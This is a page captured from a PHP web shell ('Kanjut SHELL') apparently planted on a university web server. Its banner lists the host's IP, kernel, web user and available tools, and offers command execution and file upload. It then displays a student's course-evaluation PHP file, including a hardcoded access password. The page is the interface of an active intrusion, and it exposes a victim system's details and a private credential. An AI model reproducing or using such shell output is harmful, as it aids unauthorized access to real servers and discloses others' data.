Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.133.138
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wrlainezmolina/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wrlainezmolina/www/courseEval3.php
<?php	session_start();	?>

<?php
        $pass = $_SESSION['psw'];
        if($pass != "ch7hw") print "Go away.";
        else
        {
?>


<CENTER>
<FONT color=blue size=4>
<H2> Course Evaluation Results </H2>
<HR>

<?php 
	$qu1 = $_POST['q1'];
	$qu2 = $_POST['q2'];
	$n1 = $_SESSION['v1'];
	$c2 = $_SESSION['v2'];
	
	print "Your Name is: $n1<BR>";
	print "Your Course Number is : $c2<BR>";
	
	print "<HR>The results of the Evaluation are as follows:<P>";
	if ($qu1 == "s1")
	{
		print "You strongly agree that the class is fun!<P>";
	}
	else if ($qu1 == "s2")
	{
		print "You agree that the class is fun!<P>";
	}
	else if ($qu1 == "s3")
	{
		print "You do not agree that the class is fun.<P>";
 	}
	

	if ($qu2 == "s1")
        {
                print "You strongly agree that coding is fun!<P>";
        }
        else if ($qu2 == "s2")
        {
                print "You agree that coding is fun!<P>";      
        }
        else if ($qu2 == "s3")
        {
                print "You do not agree that coding is fun.<P>";
        }
?>

</FONT>
</CENTER>
	

Stv3n404 - 2023